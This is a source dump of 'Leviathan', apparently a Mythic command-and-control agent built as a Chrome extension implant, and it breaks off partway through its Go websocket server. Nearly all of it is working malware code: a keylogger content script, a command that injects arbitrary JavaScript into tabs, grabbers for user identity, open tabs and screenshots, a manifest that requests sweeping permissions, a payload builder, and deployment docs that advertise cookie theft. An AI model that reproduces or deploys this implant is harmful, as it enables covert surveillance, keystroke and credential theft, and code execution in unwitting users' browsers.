1 | exports.inject = function(task) { 2 | // execute custom javascript code in a tab 3 | try { 4 | let args = JSON.parse(task.parameters.toString()); 5 | const tab = Math.round(args.tabid); 6 | const code = atob(args.javascript); 7 | chrome.tabs.executeScript(tab, { 8 | code: code 9 | }, function(){ 10 | if (chrome.runtime.lastError) { 11 | C2.sendError(taskid, tasktype); 12 | } else { 13 | let response = {"task_id":task.id, "user_output":"injected code into tab with id " + tab, "completed": true}; 14 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 15 | let enc = JSON.stringify(outer_response); 16 | let final = apfell.apfellid + enc; 17 | let msg = btoa(unescape(encodeURIComponent(final))); 18 | out.push(msg); 19 | } 20 | }); 21 | } catch (error) { 22 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"}; 23 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 24 | let enc = JSON.stringify(outer_response); 25 | let final = apfell.apfellid + enc; 26 | let msg = btoa(unescape(encodeURIComponent(final))); 27 | out.push(msg); 28 | } 29 | 30 | }; -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "EXTENSION_NAME_REPLACE", 3 | "version": "VERSION_REPLACE", 4 | "manifest_version": 2, 5 | "description": "DESCRIPTION_REPLACE", 6 | "homepage_url": "http://www.example.com/debugextension", 7 | "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'", 8 | "converted_from_user_script": true, 9 | "background": { 10 | "scripts": [ 11 | "main.js" 12 | ], 13 | "persistent": true 14 | }, 15 | "icons": { 16 | "128": "icons/blank.png" 17 | }, 18 | "update_url" : "http://www.example.com/update.xml", 19 | "permissions": [ 20 | "bookmarks", 21 | "webNavigation", 22 | "clipboardRead", 23 | "clipboardWrite", 24 | "contentSettings", 25 | "contextMenus", 26 | "cookies", 27 | "history", 28 | "idle", 29 | "management", 30 | "notifications", 31 | "tabs", 32 | "identity", 33 | "identity.email", 34 | "alarms", 35 | "background", 36 | "browsingData", 37 | "contentSettings", 38 | "cookies", 39 | "debugger", 40 | "declarativeContent", 41 | "desktopCapture", 42 | "downloads", 43 | "gcm", 44 | "history", 45 | "idle", 46 | "power", 47 | "privacy", 48 | "proxy", 49 | "system.cpu", 50 | "tabCapture", 51 | "tabs", 52 | "unlimitedStorage", 53 | "webRequest", 54 | "nativeMessaging", 55 | "geolocation", 56 | "webRequestBlocking", 57 | "downloads", 58 | "downloads.open", 59 | "" 60 | ] 61 | } 62 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan_websocket/websocket.py: -------------------------------------------------------------------------------- 1 | from mythic_container.C2ProfileBase import * 2 | 3 | 4 | class Websocket(C2Profile): 5 | name = "leviathan-websocket" 6 | description = "Websocket C2 Server for Leviathan" 7 | author = "@xorrior" 8 | is_p2p = False 9 | is_server_routed = False 10 | mythic_encrypts = True 11 | translation_container = None 12 | server_binary_path = pathlib.Path(".") / "leviathan_websocket" / "c2_code" / "mythic_leviathan_websocket_server" 13 | server_folder_path = pathlib.Path(".") / "leviathan_websocket" / "c2_code" 14 | parameters = [ 15 | C2ProfileParameter( 16 | name="callback_host", 17 | description="Callback Host", 18 | default_value="ws://127.0.0.1", 19 | verifier_regex="^(ws|wss)://[a-zA-Z0-9]+", 20 | ), 21 | C2ProfileParameter( 22 | name="callback_interval", 23 | description="Callback Interval in seconds", 24 | default_value="10", 25 | verifier_regex="^[0-9]+$", 26 | required=False, 27 | ), 28 | C2ProfileParameter( 29 | name="ENDPOINT_REPLACE", 30 | description="Websockets Endpoint", 31 | default_value="socket", 32 | required=False, 33 | ), 34 | C2ProfileParameter( 35 | name="callback_port", 36 | description="Callback Port", 37 | default_value="8081", 38 | verifier_regex="^[0-9]+$", 39 | required=False, 40 | ), 41 | ] 42 | -------------------------------------------------------------------------------- /documentation-payload/leviathan/development.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "Development" 3 | chapter = false 4 | weight = 20 5 | pre = "3. " 6 | +++ 7 | 8 | ## Development Environment 9 | 10 | The chrome extension code can be modified in any text editor or IDE since it's just plaintext JavaScript. 11 | 12 | ## Adding Commands 13 | 14 | New commands should be added to `Payload_Types/leviathan/agent_code/commands/` directory. Please use the following template: 15 | 16 | ``` 17 | exports.command = function(task) { 18 | try { 19 | // Your command code here 20 | } catch (error) { 21 | // Exception handling 22 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"}; 23 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 24 | let enc = JSON.stringify(outer_response); 25 | let final = apfell.apfellid + enc; 26 | let msg = btoa(unescape(encodeURIComponent(final))); 27 | out.push(msg); 28 | } 29 | }; 30 | COMMAND_ENDS_HERE 31 | ``` 32 | - The `out` variable is an array of json messages that will be sent to the chrome server. 33 | - The `task` variable is a json blob that represents a new task from mythic. For additional information, please review the documentation here: https://docs.apfell.net/customizing/c2-related-development/c2-profile-code/agent-side-coding/action_get_tasking. 34 | 35 | ## Adding C2 Profiles 36 | 37 | The code for c2 profiles is saved in `Payload_Types/leviahtan/agent_code/c2/`. Please use the `chrome-server` profile as an example. 38 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2023, Mythic Meta Configuration Information 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | 3. Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/commands/userinfo.js: -------------------------------------------------------------------------------- 1 | exports.userinfo = function(task) { 2 | try { 3 | chrome.identity.getProfileUserInfo(function(info){ 4 | if (info === undefined) { 5 | let response = {'task_id':task.id, 'user_output': 'userinfo failed', 'completed': false, 'status':'error'}; 6 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 7 | let enc = JSON.stringify(outer_response); 8 | let final = apfell.apfellid + enc; 9 | let msg = btoa(unescape(encodeURIComponent(final))); 10 | out.push(msg); 11 | } else { 12 | let response = {"task_id":task.id, "user_output":JSON.stringify(info, null, 2), "completed": true}; 13 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 14 | let enc = JSON.stringify(outer_response); 15 | let final = apfell.apfellid + enc; 16 | let msg = btoa(unescape(encodeURIComponent(final))); 17 | out.push(msg); 18 | } 19 | }); 20 | } catch (error) { 21 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"}; 22 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 23 | let enc = JSON.stringify(outer_response); 24 | let final = apfell.apfellid + enc; 25 | let msg = btoa(unescape(encodeURIComponent(final))); 26 | out.push(msg); 27 | } 28 | }; -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/extension/utils/kl.js: -------------------------------------------------------------------------------- 1 | // Heavily adapted from https://github.com/Xeroday/ChromeLogger/blob/master/Chrome/src/inject/payload.js 2 | var port = chrome.runtime.connect({name: "keylogger"}); 3 | 4 | if (!document.title) { 5 | document.title = document.URL; 6 | } 7 | 8 | document.addEventListener('keypress', function(e) { 9 | e = e || window.event; 10 | var charCode = typeof e.which == "number" ? e.which : e.keyCode; 11 | if(charCode) { 12 | log(String.fromCharCode(charCode)); 13 | } 14 | }); 15 | 16 | document.addEventListener('keydown', function (e) { 17 | e = e || window.event; 18 | var charCode = typeof e.which == "number" ? e.which : e.keyCode; 19 | if (charCode == 8) { 20 | log("[BKSP]"); 21 | } else if (charCode == 9) { 22 | log("[TAB]"); 23 | } else if (charCode == 13) { 24 | log("[ENTER]"); 25 | } else if (charCode == 16) { 26 | log("[SHIFT]"); 27 | } else if (charCode == 17) { 28 | log("[CTRL]"); 29 | } else if (charCode == 18) { 30 | log("[ALT]"); 31 | } else if (charCode == 91) { 32 | log("[L WINDOW]"); // command for mac 33 | } else if (charCode == 92) { 34 | log("[R WINDOW]"); // command for mac 35 | } else if (charCode == 93) { 36 | log("[SELECT/CMD]"); // command for mac 37 | } 38 | }); 39 | 40 | /* Keylog Saving */ 41 | var time = new Date().getTime(); 42 | var data = {}; 43 | var lastLog = time; 44 | 45 | 46 | function log(input) { 47 | var now = new Date().getTime(); 48 | if (now - lastLog < 10) return; 49 | data[time] += input; 50 | lastLog = now; 51 | port.sendMessage(data) 52 | } -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/commands/tabs.js: -------------------------------------------------------------------------------- 1 | exports.tabs = function(task) { 2 | try { 3 | const queryInfo = {}; 4 | let tabs =[]; 5 | chrome.tabs.query(queryInfo, function(result){ 6 | for (let i = 0; i < result.length; i++) { 7 | const individualTab = {}; 8 | individualTab.window = result[i].title; 9 | individualTab.url = result[i].url; 10 | individualTab.incognito = result[i].incognito; 11 | individualTab.id = result[i].id; 12 | individualTab.active = result[i].active; 13 | individualTab.highlighted = result[i].highlighted; 14 | individualTab.windowid = result[i].windowId; 15 | 16 | tabs.push(individualTab); 17 | } 18 | 19 | let output = JSON.stringify(tabs, null, 2); 20 | let response = {"task_id":task.id, "user_output":output, "completed": true}; 21 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 22 | let enc = JSON.stringify(outer_response); 23 | let final = apfell.apfellid + enc; 24 | let msg = btoa(unescape(encodeURIComponent(final))); 25 | out.push(msg); 26 | }); 27 | } catch (error) { 28 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"}; 29 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 30 | let enc = JSON.stringify(outer_response); 31 | let final = apfell.apfellid + enc; 32 | let msg = btoa(unescape(encodeURIComponent(final))); 33 | out.push(msg); 34 | } 35 | 36 | }; -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/commands/screencapture.js: -------------------------------------------------------------------------------- 1 | exports.screencapture = function(task){ 2 | try { 3 | let param = { 4 | 'format': 'png', 5 | 'quality': 75 6 | }; 7 | chrome.tabs.captureVisibleTab(param, function(img) { 8 | if (img === undefined) { 9 | let response = {'task_id':task.id, 'user_output': 'screencapture failed', 'completed': false, 'status':'error'}; 10 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 11 | let enc = JSON.stringify(outer_response); 12 | let final = apfell.apfellid + enc; 13 | let msg = btoa(unescape(encodeURIComponent(final))); 14 | out.push(msg); 15 | } else { 16 | let encImg = img.toString().split(',')[1]; 17 | let raw = encImg; 18 | let totalchunks = 1; 19 | let response = {'total_chunks':totalchunks, 'task_id':task.id, 'full_path':task.parameters}; 20 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 21 | let enc = JSON.stringify(outer_response); 22 | let final = apfell.apfellid + enc; 23 | let msg = btoa(unescape(encodeURIComponent(final))); 24 | out.push(msg); 25 | screencaptures.push({'type':'screencapture','task_id':task.id, 'image':raw, 'total_chunks': totalchunks}); 26 | } 27 | }); 28 | } catch (error) { 29 | let response = {"task_id":task.id, "user_output":error.toString(), "completed": true, "status":"error"}; 30 | let outer_response = {"action":"post_response", "responses":[response], "delegates":[]}; 31 | let enc = JSON.stringify(outer_response); 32 | let final = apfell.apfellid + enc; 33 | let msg = btoa(unescape(encodeURIComponent(final))); 34 | out.push(msg); 35 | } 36 | 37 | }; -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Leviathan 2 | 3 | Leviathan is a Chrome extension written in JavaScript by @xorrior. It's intended to be leveraged outside of the Google Chrome store and hosted on your own servers. This is for Mythic 2.2.7, and does not support Mythic 2.1. 4 | 5 | Leviathan uses the `itsafeaturemythic/leviathan_payload:0.0.6` docker container and reports to Mythic as version "8". 6 | 7 | ## Leviathan's Icon 8 | 9 | leviathan's icon was made by Freepik from www.flaticon.com 10 | 11 | 12 | ## How to install an agent in this format within Mythic 13 | 14 | When it's time for you to test out your install or for another user to install your agent, it's pretty simple. Within Mythic you can run the `mythic-cli` binary to install this in one of three ways: 15 | 16 | * `sudo ./mythic-cli install github https://github.com/user/repo` to install the main branch 17 | * `sudo ./mythic-cli install github https://github.com/user/repo branchname` to install a specific branch of that repo 18 | * `sudo ./mythic-cli install folder /path/to/local/folder/cloned/from/github` to install from an already cloned down version of an agent repo 19 | 20 | Now, you might be wondering _when_ should you or a user do this to properly add your agent to their Mythic instance. There's no wrong answer here, just depends on your preference. The three options are: 21 | 22 | * Mythic is already up and going, then you can run the install script and just direct that agent's containers to start (i.e. `sudo ./mythic-cli payload start agentName` and if that agent has its own special C2 containers, you'll need to start them too via `sudo ./mythic-cli c2 start c2profileName`). 23 | * Mythic is already up and going, but you want to minimize your steps, you can just install the agent and run `sudo ./mythic-cli mythic start`. That script will first _stop_ all of your containers, then start everything back up again. This will also bring in the new agent you just installed. 24 | * Mythic isn't running, you can install the script and just run `sudo ./mythic-cli mythic start`. 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_code/chrome-extension.js: -------------------------------------------------------------------------------- 1 | //--------------IMPLANT INFORMATION----------------------------------- 2 | class implant{ 3 | constructor(){ 4 | this.hostinfo = "chrome"; 5 | this.userinfo = ''; 6 | this.procinfo = 0; 7 | this.uuid = "UUID_HERE"; 8 | this.apfellid = 0; 9 | } 10 | } 11 | 12 | var hostos = ""; 13 | var hostarch = ""; 14 | var apfell = new implant(); 15 | //--------------Base C2 INFORMATION--------------------------------------- 16 | class baseC2 { 17 | constructor(host, port, endpoint, interval) { 18 | this.host = host; 19 | this.port = port; 20 | this.interval = interval; 21 | this.commands = {}; 22 | this.server = `${this.host}:${this.port}/${endpoint}`; 23 | } 24 | 25 | getInterval(){ 26 | return this.interval; 27 | } 28 | 29 | getConfig(){ 30 | // return the c2 config 31 | } 32 | 33 | postResponse(){ 34 | //output a response to a task 35 | } 36 | setConfig(){ 37 | //Not implemented 38 | } 39 | download(){ 40 | //Not Implemented 41 | } 42 | upload(){ 43 | //Not implemented 44 | } 45 | 46 | checkIn(){ 47 | // register this callback with the server 48 | } 49 | 50 | sendResponse(){ 51 | // Send a response to the server 52 | } 53 | } 54 | 55 | // C2 Profile Code 56 | C2PROFILE_HERE 57 | 58 | //-------------SHARED COMMAND CODE ------------------------ 59 | chrome.identity.getProfileUserInfo(function(info){ 60 | apfell.userinfo = info.email; 61 | }); 62 | 63 | chrome.runtime.getPlatformInfo(function(info) { 64 | hostos = info.os; 65 | hostarch = info.arch; 66 | }); 67 | 68 | default_load = function(contents){ 69 | var module = {exports: {}}; 70 | var exports = module.exports; 71 | eval(contents); 72 | return module.exports; 73 | }; 74 | 75 | let exports = {}; 76 | // Commands 77 | COMMANDS_HERE 78 | 79 | var commands_dict = exports; 80 | C2.commands = Object.keys(commands_dict); -------------------------------------------------------------------------------- /documentation-payload/leviathan/_index.md: -------------------------------------------------------------------------------- 1 | +++ 2 | title = "leviathan" 3 | chapter = false 4 | weight = 5 5 | +++ 6 | ![logo](/agents/leviathan/leviathan.svg?width=200px) 7 | ## Summary 8 | The leviathan agent is a Chrome browser extension that leverages the websockets protocol for C2. To use this payload: 9 | 1. Create the payload the UI. This will create a .zip file for you to download and extract. 10 | 2. In Google Chrome, click the hamburger icon on the right -> More Tools -> Extensions 11 | 3. Click the top right toggle for developer mode 12 | 4. Drag the extension.crx file onto the extensions page in Chrome to get a popup about adding the extension 13 | 5. Click "Add extension" 14 | 6. The extension will now be listed with an `ID: string here` such as (`ID: cmpdmiiigdgpigikmenkkobfkcbnpgij`) 15 | {{% notice info %}} 16 | For local testing, you can select to "Load unpacked" and point to the `extension` folder. It'll load and run your extension locally. 17 | {{% /notice %}} 18 | At this point, you need to deploy it in operations. This is very OS and operation specific. In general, you're looking at steps 13 and 14 from @xorrior's original [blog](https://posts.specterops.io/no-place-like-chrome-122e500e421f). 19 | 20 | When building the payload in Mythic, you specify the path of where the manifest is going to live, like `https://mydomain.com/manifest.xml`. Chrome is going to reach out to this url to get some information and the actual extension. The xml file looks like this (you will need to generate this): 21 | 22 | ``` 23 | 24 | 25 | 26 | 27 | 28 | 29 | ``` 30 | 31 | Make sure that the version specified here matches the version you specified when generating your payload. You can use this to your advantage to "announce" a new version that Chrome should pull down and run. 32 | 33 | ### Highlighted Agent Features 34 | 35 | - Capture screenshots 36 | - Steal cookies 37 | - View open tabs 38 | - Inject javascript into tabs 39 | - Dynamically load new commands 40 | 41 | ## Authors 42 | 43 | @xorrior 44 | 45 | ### Special Thanks to These Contributors 46 | 47 | @sixdub for the idea and PoC code 48 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.py[cod] 3 | # Sphinx documentation 4 | docs/_build/ 5 | # Environments 6 | .env 7 | .venv 8 | env/ 9 | venv/ 10 | ENV/ 11 | env.bak/ 12 | venv.bak/ 13 | # pycharm 14 | .idea/ 15 | # ssl certs 16 | ssl/ 17 | # Mythic files 18 | files/ 19 | mythic_access.* 20 | postgres-docker/database/ 21 | rabbitmq-docker/storage/ 22 | display_output.txt 23 | ## Ignore Visual Studio temporary files, build results, and 24 | ## files generated by popular Visual Studio add-ons. 25 | ## 26 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 27 | 28 | # User-specific files 29 | *.suo 30 | *.user 31 | *.userosscache 32 | *.sln.docstates 33 | 34 | # User-specific files (MonoDevelop/Xamarin Studio) 35 | *.userprefs 36 | 37 | # Build results 38 | [Dd]ebug/ 39 | [Dd]ebugPublic/ 40 | [Rr]elease/ 41 | [Rr]eleases/ 42 | x64/ 43 | x86/ 44 | bld/ 45 | [Bb]in/ 46 | [Oo]bj/ 47 | [Ll]og/ 48 | 49 | # Visual Studio 2015/2017 cache/options directory 50 | .vs/ 51 | # Uncomment if you have tasks that create the project's static files in wwwroot 52 | #wwwroot/ 53 | 54 | # Visual Studio 2017 auto generated files 55 | Generated\ Files/ 56 | 57 | # MSTest test Results 58 | [Tt]est[Rr]esult*/ 59 | [Bb]uild[Ll]og.* 60 | 61 | # NUNIT 62 | *.VisualState.xml 63 | TestResult.xml 64 | 65 | # Build Results of an ATL Project 66 | [Dd]ebugPS/ 67 | [Rr]eleasePS/ 68 | dlldata.c 69 | 70 | # Benchmark Results 71 | BenchmarkDotNet.Artifacts/ 72 | 73 | # .NET Core 74 | project.lock.json 75 | project.fragment.lock.json 76 | artifacts/ 77 | **/Properties/launchSettings.json 78 | 79 | # StyleCop 80 | StyleCopReport.xml 81 | 82 | # Files built by Visual Studio 83 | *_i.c 84 | *_p.c 85 | *_i.h 86 | *.ilk 87 | *.meta 88 | *.obj 89 | *.iobj 90 | *.pch 91 | *.pdb 92 | *.ipdb 93 | *.pgc 94 | *.pgd 95 | *.rsp 96 | *.sbr 97 | *.tlb 98 | *.tli 99 | *.tlh 100 | *.tmp 101 | *.tmp_proj 102 | *.log 103 | *.vspscc 104 | *.vssscc 105 | .builds 106 | *.pidb 107 | *.svclog 108 | *.scc 109 | 110 | # Chutzpah Test files 111 | _Chutzpah* 112 | 113 | # Visual C++ cache files 114 | ipch/ 115 | *.aps 116 | *.ncb 117 | *.opendb 118 | *.opensdf 119 | *.sdf 120 | *.cachefile 121 | *.VC.db 122 | *.VC.VC.opendb 123 | 124 | # Visual Studio profiler 125 | *.psess 126 | *.vsp 127 | *.vspx 128 | *.sap 129 | 130 | # Visual Studio Trace Files 131 | *.e2e 132 | 133 | # TFS 2012 Local Workspace 134 | $tf/ 135 | 136 | # Guidance Automation Toolkit 137 | *.gpState 138 | 139 | # ReSharper is a .NET coding add-in 140 | _ReSharper*/ 141 | *.[Rr]e[Ss]harper 142 | *.DotSettings.user 143 | 144 | # vscode 145 | .vscode/ -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan/agent_functions/builder.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | from mythic_container.PayloadBuilder import * 3 | import uuid 4 | import asyncio 5 | import os 6 | from distutils.dir_util import copy_tree 7 | import tempfile 8 | import shutil 9 | 10 | 11 | class Leviathan(PayloadType): 12 | 13 | name = "leviathan" 14 | file_extension = "zip" 15 | author = "@xorrior" 16 | supported_os = [SupportedOS.Chrome] 17 | wrapper = False 18 | mythic_encrypts = True 19 | wrapped_payloads = [] 20 | note = "This payload uses javascript, html, and CSS for execution in the context of a browser via a Chrome Browser extension" 21 | supports_dynamic_loading = False 22 | agent_path = pathlib.Path("") / "leviathan" 23 | agent_icon_path = agent_path / "agent_functions" / "leviathan.svg" 24 | agent_code_path = agent_path / "agent_code" 25 | build_parameters = [ 26 | BuildParameter( 27 | name="name", 28 | parameter_type=BuildParameterType.String, 29 | description="Name of your extension", 30 | default_value="example", 31 | required=False, 32 | ), 33 | BuildParameter( 34 | name="update_url", 35 | parameter_type=BuildParameterType.String, 36 | description="The url that hosts the update manifest file (xml)", 37 | default_value="http://www.example.com/update.xml", 38 | ), 39 | BuildParameter( 40 | name="url", 41 | parameter_type=BuildParameterType.String, 42 | description="The home page url for your extension. This will be used as the default location for when a user clicks on your extension icon in the toolbar", 43 | default_value="http://www.example.com", 44 | ), 45 | BuildParameter( 46 | name="version", 47 | parameter_type=BuildParameterType.String, 48 | description="The version for your extension", 49 | default_value="1.0", 50 | ), 51 | ] 52 | c2_profiles = ["leviathan-websocket"] 53 | 54 | async def build(self) -> BuildResponse: 55 | # this function gets called to create an instance of your payload 56 | resp = BuildResponse(status=BuildStatus.Error) 57 | # create the payload 58 | try: 59 | agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) 60 | # shutil to copy payload files over 61 | copy_tree(str(self.agent_code_path), agent_build_path.name) 62 | command_code = "" 63 | for cmd in self.commands.get_commands(): 64 | command_code += ( 65 | open( 66 | "{}/commands/{}.js".format(agent_build_path.name, cmd), "r" 67 | ).read() 68 | + "\n" 69 | ) 70 | file1 = open( 71 | "{}/chrome-extension.js".format(agent_build_path.name), "r" 72 | ).read() 73 | file1 = file1.replace("UUID_HERE", self.uuid) 74 | file1 = file1.replace("COMMANDS_HERE", command_code) 75 | all_c2_code = "" 76 | for c2 in self.c2info: 77 | profile = c2.get_c2profile() 78 | c2_code = open( 79 | "{}/c2/{}.js".format(agent_build_path.name, profile["name"]), "r" 80 | ).read() 81 | for key, val in c2.get_parameters_dict().items(): 82 | if isinstance(val, dict): 83 | c2_code = c2_code.replace(key, val["enc_key"] if val["enc_key"] is not None else "") 84 | else: 85 | c2_code = c2_code.replace(key, val) 86 | all_c2_code += c2_code 87 | file1 = file1.replace("C2PROFILE_HERE", all_c2_code) 88 | with open("{}/extension/main.js".format(agent_build_path.name), "w") as f: 89 | f.write(file1) 90 | file = open("{}/manifest.json".format(agent_build_path.name), "r").read() 91 | file = file.replace("EXTENSION_NAME_REPLACE", self.get_parameter("name")) 92 | file = file.replace("DESCRIPTION_REPLACE", self.get_parameter("name")) 93 | file = file.replace( 94 | "http://www.example.com/debugextension", self.get_parameter("url") 95 | ) 96 | file = file.replace( 97 | "http://www.example.com/update.xml", self.get_parameter("update_url") 98 | ) 99 | file = file.replace("VERSION_REPLACE", self.get_parameter("version")) 100 | with open( 101 | "{}/extension/manifest.json".format(agent_build_path.name), "w" 102 | ) as f: 103 | f.write(file) 104 | command = "PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=python python /CRX3-Creator/main.py {}/extension".format( 105 | agent_build_path.name 106 | ) 107 | proc = await asyncio.create_subprocess_shell( 108 | command, 109 | stdout=asyncio.subprocess.PIPE, 110 | stderr=asyncio.subprocess.PIPE, 111 | cwd=agent_build_path.name, 112 | ) 113 | stdout = "" 114 | stderr = "" 115 | stdoutProc, stderrProc = await proc.communicate() 116 | if stdoutProc: 117 | stdout += f"[stdout]\n{stdoutProc.decode()}\n" 118 | if stderrProc: 119 | stderr += f"[stderr]\n{stderrProc.decode()}" 120 | if os.path.exists("{}/extension.crx".format(agent_build_path.name)): 121 | temp_uuid = str(uuid.uuid4()) 122 | shutil.make_archive( 123 | "{}/{}".format(agent_build_path.name, temp_uuid), 124 | "zip", 125 | "{}".format(agent_build_path.name), 126 | ) 127 | resp.payload = open( 128 | "{}/{}.zip".format(agent_build_path.name, temp_uuid), "rb" 129 | ).read() 130 | resp.status = BuildStatus.Success 131 | resp.build_message = "created zip of chrome extension files" 132 | else: 133 | # something went wrong, return our errors 134 | resp.set_status(BuildStatus.Error) 135 | resp.build_stdout = stdout 136 | resp.build_stderr = stderr 137 | except Exception as e: 138 | resp.set_status(BuildStatus.Error) 139 | resp.build_stderr = "Error building payload: " + str(e) 140 | return resp 141 | -------------------------------------------------------------------------------- /Payload_Type/leviathan/leviathan_websocket/c2_code/servers/websocket.go: -------------------------------------------------------------------------------- 1 | //go:build websocket 2 | 3 | package servers 4 | 5 | import ( 6 | "bytes" 7 | "crypto/tls" 8 | "fmt" 9 | "io" 10 | "log" 11 | "net/http" 12 | "os" 13 | "strings" 14 | 15 | "github.com/gorilla/websocket" 16 | "github.com/kabukky/httpscerts" 17 | ) 18 | 19 | type WebsocketC2 struct { 20 | BaseURL string 21 | BindAddress string 22 | SSL bool 23 | SocketURI string 24 | Defaultpage string 25 | Logfile string 26 | Debug bool 27 | } 28 | 29 | var upgrader = websocket.Upgrader{} 30 | 31 | func newServer() Server { 32 | return &WebsocketC2{} 33 | } 34 | 35 | func (s *WebsocketC2) SetBindAddress(addr string) { 36 | s.BindAddress = addr 37 | } 38 | 39 | func (s WebsocketC2) ApfellBaseURL() string { 40 | return s.BaseURL 41 | } 42 | 43 | func (s *WebsocketC2) SetMythicBaseURL(url string) { 44 | s.BaseURL = url 45 | } 46 | 47 | // SetSocketURI - Set socket uri 48 | func (s *WebsocketC2) SetSocketURI(uri string) { 49 | s.SocketURI = uri 50 | } 51 | 52 | var tr = &http.Transport{ 53 | TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, 54 | } 55 | var client = &http.Client{Transport: tr} 56 | 57 | func (s *WebsocketC2) PostMessage(msg []byte) []byte { 58 | url := s.ApfellBaseURL() 59 | //log.Println("Sending POST request to url: ", url) 60 | s.Websocketlog(fmt.Sprintln("Sending POST request to: ", url)) 61 | if req, err := http.NewRequest("POST", url, bytes.NewBuffer(msg)); err != nil { 62 | s.Websocketlog(fmt.Sprintf("Error making new http request object: %s", err.Error())) 63 | return make([]byte, 0) 64 | } else { 65 | req.Header.Add("Mythic", "websocket") 66 | contentLength := len(msg) 67 | req.ContentLength = int64(contentLength) 68 | 69 | if resp, err := client.Do(req); err != nil { 70 | s.Websocketlog(fmt.Sprintf("Error sending POST request: %s", err.Error())) 71 | return make([]byte, 0) 72 | } else if resp.StatusCode != 200 { 73 | s.Websocketlog(fmt.Sprintf("Did not receive 200 response code: %d", resp.StatusCode)) 74 | return make([]byte, 0) 75 | } else { 76 | defer resp.Body.Close() 77 | if body, err := io.ReadAll(resp.Body); err != nil { 78 | s.Websocketlog(fmt.Sprintf("Error reading response body: %s", err.Error())) 79 | return make([]byte, 0) 80 | } else { 81 | return body 82 | } 83 | } 84 | } 85 | } 86 | func (s *WebsocketC2) SetDebug(debug bool) { 87 | s.Debug = debug 88 | } 89 | 90 | // GetDefaultPage - Get the default html page 91 | func (s WebsocketC2) GetDefaultPage() string { 92 | return s.Defaultpage 93 | } 94 | 95 | // SetDefaultPage - Set the default html page 96 | func (s *WebsocketC2) SetDefaultPage(newpage string) { 97 | s.Defaultpage = newpage 98 | } 99 | 100 | // SocketHandler - Websockets handler 101 | func (s WebsocketC2) SocketHandler(w http.ResponseWriter, r *http.Request) { 102 | //Upgrade the websocket connection 103 | upgrader.CheckOrigin = func(r *http.Request) bool { return true } 104 | conn, err := upgrader.Upgrade(w, r, nil) 105 | if err != nil { 106 | s.Websocketlog(fmt.Sprintf("Websocket upgrade failed: %s\n", err.Error())) 107 | http.Error(w, "websocket connection failed", http.StatusBadRequest) 108 | return 109 | } 110 | 111 | s.Websocketlog("Received new websocket client") 112 | 113 | go s.manageClient(conn) 114 | 115 | } 116 | 117 | func (s *WebsocketC2) manageClient(c *websocket.Conn) { 118 | 119 | LOOP: 120 | for { 121 | // Wait for the client to send the initial checkin message 122 | m := Message{} 123 | var resp []byte 124 | if err := c.ReadJSON(&m); err != nil { 125 | s.Websocketlog(fmt.Sprintf("Read error %s. Exiting session", err.Error())) 126 | return 127 | } else { 128 | if m.Client { 129 | 